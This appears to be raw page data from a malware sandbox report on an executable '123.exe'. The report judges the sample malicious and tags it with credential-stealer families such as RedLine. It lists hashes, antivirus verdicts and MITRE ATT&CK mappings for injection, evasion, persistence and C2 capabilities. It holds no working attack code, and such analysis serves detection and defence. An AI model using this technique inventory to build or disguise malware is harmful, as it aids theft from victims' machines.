"DispatchMessageW" (Source: 33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272, API is part of module: USER32.DLL) Found string "PeekMessageW" (Source: 33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272, API is part of module: USER32.DLL) Found string "DefWindowProcW" (Source: 33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272, API is part of module: USER32.DLL)65:T414,"instance of Win32_SystemEnclosure" (Indicator: " win32_systemenclosure"; Source: "00000000-00001236.00000000.80845.00300000.00000004.mdmp, 00000000-00001236.00000001.82769.00300000.00000004.mdmp, 00000000-00001236.00000002.84690.00300000.00000004.mdmp") "nstance of Win32_ComputerSystem" (Indicator: " win32_computersystem"; Source: "00000000-00001236.00000000.80845.00300000.00000004.mdmp") "nstance of Win32_SystemEnclosure" (Indicator: " win32_systemenclosure"; Source: "00000000-00001236.00000000.80845.00300000.00000004.mdmp") "SELECT * FROM Win32_ComputerSystem" (Indicator: " win32_computersystem"; Source: "00000000-00001236.00000000.80845.00300000.00000004.mdmp, 00000000-00001236.00000001.82769.00300000.00000004.mdmp, 00000000-00001236.00000002.84690.00300000.00000004.mdmp") "instance of Win32_ComputerSystem" (Indicator: " win32_computersystem"; Source: "00000000-00001236.00000000.80845.00300000.00000004.mdmp, 00000000-00001236.00000001.82769.00300000.00000004.mdmp, 00000000-00001236.00000002.84690.00300000.00000004.mdmp")66:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMzMzMzMzNzMzMzMzMwAAAIiIiIiIiDiIiIiIiIgAAACIiIiIiIg4iIiIiIiIAAAAiIiIiIiIOIiIiIiIiAAAAIiIiIiIiHiIiIiIiIgAAACId3d3d3d4d3d3d3eIAAAAh3d3d3d3d3d3d3d3dwAAAHd3d3d3d3d3d3d3d3cACId3d3d3d3c3d3d3d3d3eIiHd4iIiIiIiIiIiIiId3iIh3f//////////////3d4gId4//////////////+HeAB3eP//////////////h3cAB3////////////////dwAAeP///////////////4cAAB/////////////////xAAAAIiImIgREZ3QREZlXAAAAAGIiJiJERGd2ERGZeAAAAABiIiYiRERndhERmXgAAAAAYiImIkREZ3YREZl4AAAAAGIiJiJERHd3ERGZeAAAAABiIioiRER3dxERmXgAAAAAYiImIkREZ3cREZl4AAAAAGu7u7JDO7u3EZu7uAAAAABmImpiRER3dxERmXgAAAAAd3d3d3d3d3d3eIiIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////+AAAA/gAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAABwAAAAAAAAAAAAAAAIAAAAGAAAABwAAAA4AAAAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAHAAAAD8AAAD/AAAA/wAAAP8AAAD////////////////w==1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790820168016,"unified_at":"2026-10-01T02:02:48.016Z","metadata":{"hashes":{"sha256":"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","sha1":"1c84d2e573e7096040fbe6e950fbff764aa11096","md5":"166d71e145b2c802acd2b0a07e070bad","sha512":"5137efaeda15554cf5b8ff68516d91b9cb3e960b85970f535e8735b1705f62cb390ffef4c7b964ed33764cd3b772aaca0ac1468ec67abe7fd2de9ddf2465f6e4","ssdeep":"49152:VIf3w6NbHHBp7k5hhJ+j0h7x0vRNT1UTzPN0EkHbG+n9:VIfwYt5ShrfKvo1U","ssdeep_chunks":["49152:VIf3w6N","49152:If3w6Nb","49152:f3w6NbH","49152:3w6NbHH","49152:w6NbHHB","49152:6NbHHBp","49152:NbHHBp7","49152:bHHBp7k","49152:HHBp7k5","49152:HBp7k5h","49152:Bp7k5hh","49152:p7k5hhJ","49152:7k5hhJ+","49152:k5hhJ+j","49152:5hhJ+j0","49152:hhJ+j0h","49152:hJ+j0h7","49152:J+j0h7x","49152:+j0h7x0","49152:j0h7x0v","49152:0h7x0vR","49152:h7x0vRN","49152:7x0vRNT","49152:x0vRNT1","49152:0vRNT1U","49152:vRNT1UT","49152:RNT1UTz","49152:NT1UTzP","49152:T1UTzPN","49152:1UTzPN0","49152:UTzPN0E","49152:TzPN0Ek","49152:zPN0EkH","49152:PN0EkHb","49152:N0EkHbG","49152:0EkHbG+","49152:EkHbG+n","49152:kHbG+n9","98304:VIf3w6N","98304:If3w6Nb","98304:f3w6NbH","98304:3w6NbHH","98304:w6NbHHB","98304:6NbHHBp","98304:NbHHBp7","98304:bHHBp7k","98304:HHBp7k5","98304:HBp7k5h","98304:Bp7k5hh","98304:p7k5hhJ","98304:7k5hhJ+","98304:k5hhJ+j","98304:5hhJ+j0","98304:hhJ+j0h","98304:hJ+j0h7","98304:J+j0h7x","98304:+j0h7x0","98304:j0h7x0v","98304:0h7x0vR","98304:h7x0vRN","98304:7x0vRNT","98304:x0vRNT1","98304:0vRNT1U","98304:vRNT1UT","98304:RNT1UTz","98304:NT1UTzP","98304:T1UTzPN","98304:1UTzPN0","98304:UTzPN0E","98304:TzPN0Ek","98304:zPN0EkH","98304:PN0EkHb","98304:N0EkHbG","98304:0EkHbG+","98304:EkHbG+n","98304:kHbG+n9","49152:VIfwYt5","49152:IfwYt5S","49152:fwYt5Sh","49152:wYt5Shr","49152:Yt5Shrf","49152:t5ShrfK","49152:5ShrfKv","49152:ShrfKvo","49152:hrfKvo1","49152:rfKvo1U"],"imphash":"00be6e6c4f9e287672c8301b72bdabf3","pehash":"8cd9ccf71e02bdc26270638b38dcd7d9c72fb9de"},"file_info":{"file_name":"123.exe","file_type":["peexe","executable","compressed","sfx","rar"],"file_type_id":"exe rar sfx","file_size":2138286,"entropy":7.92,"compile_timestamp":"2019-02-24T19:03:26","is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1731757211000,"last_seen":1788087866000,"last_multi_scan":1788087866000},"pe_metadata":{"is_dll":false,"is_packed":false,"section_count":6,"import_count":0,"export_count":0,"embedded_file_count":11,"sections":[{"name":".text","virtual_address":"0x1000","virtual_size":190564,"raw_size":190976},{"name":".rdata","virtual_address":"0x30000","virtual_size":39596,"raw_size":39936},{"name":".data","virtual_address":"0x3a000","virtual_size":136144,"raw_size":3072},{"name":".gfids","virtual_address":"0x5c000","virtual_size":232,"raw_size":512},{"name":".rsrc","virtual_address":"0x5d000","virtual_size":57396,"raw_size":57856},{"name":".reloc","virtual_address":"0x6c000","virtual_size":8144,"raw_size":8192}],"section_names":[".text",".rdata",".data",".gfids",".rsrc",".reloc"],"imported_dlls":null,"imported_functions":null}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["badjoke","cassini_539ed36b","chromepass","crypt","cryptor","downloader","redline","remoteutilities","sabsik","slipafext","wacatac","zurgop","evasive","windows-server-utility","caynamer","wacapew","adware"]},"stats":{"av":{"malicious_count":9,"suspicious_count":0,"total_engines":25},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":114},"sandbox_signatures":{"informative_count":342,"suspicious_count":29,"malicious_count":5,"total":376},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Adware.GenericKD.61015576","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"malicious","threat_name":"Win.Trojan.DarkKomet-10027799-0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_60% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Adware.GenericKD.61015576 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"malicious","threat_name":"Packed.BDF.a.khmh","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/S-8ed38c1a!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Genus.JVU","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Adware.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Creates new processes"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"PE file contains large number of import functions"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Imports GetCommandLine API"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Contains ability to dynamically load libraries"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","identifiers":[{"type":"informative","value":"Found registry location strings which can modify auto-execute functionality"},{"type":"informative","value":"Tries to save executable or command in registry"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Defense Evasion","technique":"Abuse Elevation Control Mechanism","attack_id":"T1548","attack_id_wiki":"https://attack.mitre.org/techniques/T1548","identifiers":[{"type":"informative","value":"Contains ability to use security policy setting (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Able to retrieve date formats supported by the local system (API string)"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"},{"type":"informative","value":"Contains ability to retrieve machine time (API string)"},{"type":"informative","value":"Able to retrieve machine time (API string)"},{"type":"informative","value":"Contains ability to query machine time"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Contains ability to retrieve process ID (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Able to list processes on remote desktop session host"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Contains ability to retrieve/open a process"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"suspicious","value":"Found system commands related strings"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Contains ability to retrieve information about MS-DOS device names (API string)"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Contains ability to retrieve the host name of a computer (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"suspicious","value":"Contains ability to retrieve the specified system metric or system configuration setting"},{"type":"informative","value":"Calls an API typically used to open an existing named mutex object"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Contains ability to find logical drives of the machine (API string)"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Contains ability to retrieve information about operating system (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"suspicious","value":"Calls an API typically used to find and list the Windows drive types"},{"type":"informative","value":"Contains ability to retrieve operating system version"},{"type":"suspicious","value":"Contains ability to retrieve a module handle"},{"type":"informative","value":"Reads system-defined device setup information from registry"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to determine disk drive type (API string)"},{"type":"informative","value":"Contains ability to query volume/memory size (API string)"},{"type":"suspicious","value":"Contains ability to query CPU information"},{"type":"informative","value":"Able to retrieve logical drive information (API string)"},{"type":"informative","value":"Contains ability to query the machine version"},{"type":"informative","value":"Contains ability to retrieve data about the local computer (API string)"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Queries volatile registry keys"},{"type":"informative","value":"Contains ability to retrieve information about the current system"},{"type":"informative","value":"Read system defined device setup information from registry"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Queries volume information"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay the execution of current thread"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Defense Evasion","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to impersonate another user on the local machine (API string)"},{"type":"informative","value":"Imports system security related APIs"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"},{"type":"informative","value":"Contains ability to create directories (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Reference explorer.exe process"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"malicious","value":"Writes data to a remote process"},{"type":"informative","value":"Contains ability to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"},{"type":"informative","value":"Able to inject code into another process (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"suspicious","value":"YARA signature match – cryptographic algorithms"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Defense Evasion","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"},{"type":"informative","value":"Able to identify virtual environment using user register activity"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to set file time (API string)"},{"type":"informative","value":"Contains ability to query local/system time as file time"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Contains ability to stop windows services"},{"type":"informative","value":"Contains ability to close a handle to a service (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contains ability to create a new HTTP request (API string)"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contains ability to create a HTTP or FTP session (API string)"},{"type":"informative","value":"Calls an API typically used to create a new HTTP request"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"},{"type":"informative","value":"Contains ability to create a remote thread (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Able to retrieve command line parameters of the running process"},{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"},{"type":"informative","value":"Contains ability to executes commands or batch file"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains ability to perform encryption (API string)"},{"type":"informative","value":"Able to access crypto-related API (String)"},{"type":"informative","value":"Contains reference to crypto DLLs"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Contains ability to query registry keys (API string)"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Contains registry location strings"},{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Found registry key string for installed applications"},{"type":"informative","value":"Opens registry keys"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve the current user information"},{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"YARA signature match - AES encryption"},{"type":"informative","value":"Contains ability to use 